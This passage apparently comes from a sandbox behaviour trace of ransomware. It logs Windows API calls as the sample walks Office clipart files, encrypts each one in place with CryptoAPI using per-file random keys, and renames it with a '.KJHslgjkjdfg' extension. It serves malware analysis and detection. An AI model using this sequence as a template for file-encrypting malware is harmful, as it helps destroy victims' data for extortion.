hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.732] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.732] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.732] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.732] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8860, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8860, lpOverlapped=0x0) returned 1 [0203.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8860, dwBufLen=0x8860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8860) returned 1 [0203.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.734] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8860, lpOverlapped=0x0) returned 1 [0203.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.734] SetEndOfFile (hFile=0x130) returned 1 [0203.737] GetProcessHeap () returned 0x2ef0000 [0203.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.737] GetProcessHeap () returned 0x2ef0000 [0203.737] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.kjhslgjkjdfg")) returned 1 [0203.739] CloseHandle (hObject=0x130) returned 1 [0203.739] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18fcfa00, ftCreationTime.dwHighDateTime=0x1c0323d, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18fcfa00, ftLastWriteTime.dwHighDateTime=0x1c0323d, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0203.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.741] GetProcessHeap () returned 0x2ef0000 [0203.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.744] GetProcessHeap () returned 0x2ef0000 [0203.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.746] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.746] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6624, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6624, lpOverlapped=0x0) returned 1 [0203.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630, dwBufLen=0x6630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630) returned 1 [0203.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.747] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6630, lpOverlapped=0x0) returned 1 [0203.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.748] SetEndOfFile (hFile=0x130) returned 1 [0203.751] GetProcessHeap () returned 0x2ef0000 [0203.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.751] GetProcessHeap () returned 0x2ef0000 [0203.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.kjhslgjkjdfg")) returned 1 [0203.753] CloseHandle (hObject=0x130) returned 1 [0203.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0203.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.754] GetProcessHeap () returned 0x2ef0000 [0203.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.757] GetProcessHeap () returned 0x2ef0000 [0203.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.758] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.758] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.758] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.759] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.759] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.759] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3cce, lpOverlapped=0x0) returned 1 [0203.760] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3cd0, dwBufLen=0x3cd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3cd0) returned 1 [0203.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.760] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3cd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3cd0, lpOverlapped=0x0) returned 1 [0203.760] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3da4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.761] SetEndOfFile (hFile=0x130) returned 1 [0203.764] GetProcessHeap () returned 0x2ef0000 [0203.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.764] GetProcessHeap () returned 0x2ef0000 [0203.764] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.kjhslgjkjdfg")) returned 1 [0203.766] CloseHandle (hObject=0x130) returned 1 [0203.766] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0203.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.767] GetProcessHeap () returned 0x2ef0000 [0203.767] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.767] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.767] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.770] GetProcessHeap () returned 0x2ef0000 [0203.770] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.770] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.770] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.770] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.770] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.770] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.770] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.771] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd6b4, lpOverlapped=0x0) returned 1 [0203.772] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd6c0) returned 1 [0203.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.773] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd6c0, lpOverlapped=0x0) returned 1 [0203.773] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.773] SetEndOfFile (hFile=0x130) returned 1 [0203.777] GetProcessHeap () returned 0x2ef0000 [0203.777] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.777] GetProcessHeap () returned 0x2ef0000 [0203.777] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.kjhslgjkjdfg")) returned 1 [0203.779] CloseHandle (hObject=0x130) returned 1 [0203.779] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0203.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.780] GetProcessHeap () returned 0x2ef0000 [0203.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.780] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.780] GetProcessHeap () returned 0x2ef0000 [0203.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.783] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.783] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.783] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.783] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.783] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.783] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.783] SetFilePointerEx (in: 